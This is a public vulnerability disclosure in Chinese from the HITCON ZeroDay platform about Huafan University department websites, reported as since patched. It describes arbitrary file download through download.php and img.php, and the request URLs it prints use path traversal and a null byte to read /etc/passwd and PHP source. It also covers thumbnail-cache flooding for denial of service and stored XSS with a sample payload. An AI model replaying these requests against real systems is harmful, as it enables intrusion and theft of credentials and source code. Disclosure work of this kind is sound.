Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2025-00035
- Vendor: TACERT台灣學術網路危機處理中心
- Title: 華梵大學 多個單位系所 任意檔案下載、有Dos風險 、SXSS
- Introduction: 任意檔案下載、有Dos風險 、SXSS
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
已修補
-
未複測
-
公開
處理歷程
- 2025/01/08 11:10:35 : 新提交 (由 萌新 更新此狀態)
- 2025/01/08 12:23:13 : 新提交 (由 萌新 更新此狀態)
- 2025/01/10 13:38:29 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/01/17 12:54:17 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/01/17 12:54:17 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/03/07 16:46:20 : 已修補 (由 組織帳號 更新此狀態)
- 2025/03/15 03:04:42 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2025-00035
- 通報者:nhd1261 (萌新)
- 風險:高
- 類型:任意檔案下載 (Arbitrary File Download)
參考資料
OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control
OWASP Top 10 - 2013 A4 - Insecure Direct Object References
https://www.owasp.org/index.php/Top_10_2013-A4-Insecure_Direct_Object_References
CWE-284: Improper Access Control
https://cwe.mitre.org/data/definitions/284.html
OWASP - Path Traversal 及防禦方式
https://www.owasp.org/index.php/Path_Traversal
CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
https://cwe.mitre.org/data/definitions/22.html
相關網址
資訊管理學系 https://mis.hfu.edu.tw
機電工程學系暨研究所 https://me.hfu.edu.tw
電子工程學系 https://ee.hfu.edu.tw
工業工程與經營資訊學系 https://im.hfu.edu.tw
東方人文思想研究所 https://oh.hfu.edu.tw
中國文學系 https://cl.hfu.edu.tw
外國語文學系暨研究所 https://www.fl.hfu.edu.tw
哲學系 https://ph.hfu.edu.tw
建築學系 https://ac.hfu.edu.tw
工業設計學系暨研究所 https://id.hfu.edu.tw
美術學系 https://fa.hfu.edu.tw
景觀與環境設計學系 https://ed.hfu.edu.tw
軍訓室 https://meo.hfu.edu.tw
人文教育研究中心 https://hec.hfu.edu.tw
師資培育中心 https://cte.hfu.edu.tw
董事會 https://tb.hfu.edu.tw
教務處招生發展組 https://ad.hfu.edu.tw
教務處學資中心 https://cslr.hfu.edu.tw
教務處招生發展組 https://ad.hfu.edu.tw
總務處 https://ga.hfu.edu.tw
會計室 https://acc.hfu.edu.tw
敘述
發現多個單位有任意檔案下載、有Dos風險 、SXSS等漏洞,雖大部分網站看起來已關閉或閒置,但仍有部分正在使用,因所列出網站皆為同一框架,以下漏洞皆可通用,故以其中工業工程與經營資訊學系網站做舉例。
任意檔案下載
發現網站有兩個功能存在任意檔案下載,分別為download.php和img.php。
download.php直接通過filename與dir拼接檔案路徑,雖然有一些路徑遍歷限制與類型檢查,但可透過以下方式輕易繞過
https://im.hfu.edu.tw/download.php?filename=download.php%00.txt&dir=../&title=download
https://im.hfu.edu.tw/download.php?filename=/etc/passwd&dir=..//..//..//..//&title=passwd
img.php的功能類似,但相比download沒有檔案類型檢查,更加危險,可以直接下載php檔。
https://im.hfu.edu.tw/img.php?filename=download.php&dir=../&title=download
https://im.hfu.edu.tw/img.php?filename=/etc/passwd&dir=..//..//..//..//
雖然部分php被ionCube加密,但線上有破解工具,下載到的網站原始碼中也包刮SQL帳密、SMTP伺服器等重要設定。
Dos風險
檢視發現img.php如果引入的是圖片,並添加寬高參數,會為圖片產生一個縮圖快取檔案,雖然有限制最大寬高與檢查是否有重複檔案,但檔案名稱是通過輸入的路徑參數產生,能繞過同檔案檢測,惡意攻擊者有機會利用腳本在伺服器產生大量的快取圖片占用伺服器資源,以下舉例:
原圖:
https://im.hfu.edu.tw/files/users/pic/20_7fd486e2.jpg
正常情況產生縮圖:
https://im.hfu.edu.tw/img.php?dir=users/pic&img=20_7fd486e2.jpg&width=200&height=200
https://im.hfu.edu.tw/files/users/pic/cache.20_7fd486e2.jpg.w200_h200.jpg
添加./:
https://im.hfu.edu.tw/img.php?dir=users/pic&img=./././././20_7fd486e2.jpg&width=200&height=200
https://im.hfu.edu.tw/files/users/pic/cache..-.-.-.-.-20_7fd486e2.jpg.w200_h200.jpg
或是操作路徑:
https://im.hfu.edu.tw/img.php?dir=users&img=pic/20_7fd486e2.jpg&width=200&height=200
https://im.hfu.edu.tw/files/users/cache.pic-20_7fd486e2.jpg.w200_h200.jpg
以上方法都能讓伺服器不斷產生重複的縮圖,只要撰寫腳本就能讓伺服器短時間內產生大量圖片,侵占伺服器資源。
SXSS:
網站有嚴格的XSS與SQLi過濾,我沒找到繞過的辦法,但檢視相關過濾規則時卻發現使用者登入的情況下會跳過一些檢查,所以找到會員注冊頁面嘗試注冊,發現資料亂填即可註冊會員,雖說這樣申請得到的會員權限很低,但嘗試後發現可以將個人資料修改成XSS payload,再到前台會員資料可以繞過XSS防護。
https://im.hfu.edu.tw/webreg/step6-30.php?Submit=%E5%90%8C%E6%84%8F
https://im.hfu.edu.tw/people/bio.php?PID=9028 (測試帳號)
Payload:
<script>alert(1);</script>
理論上,若是這些資料在網站中某處存在SQL查詢,可能可以進行二次注入,但我沒找到相關的注入點。
另外發現session可以寫入木馬,在個人資料修改暱稱,再重新登入後可以汙染session,但缺少可引入執行的LFI,故無法RCE。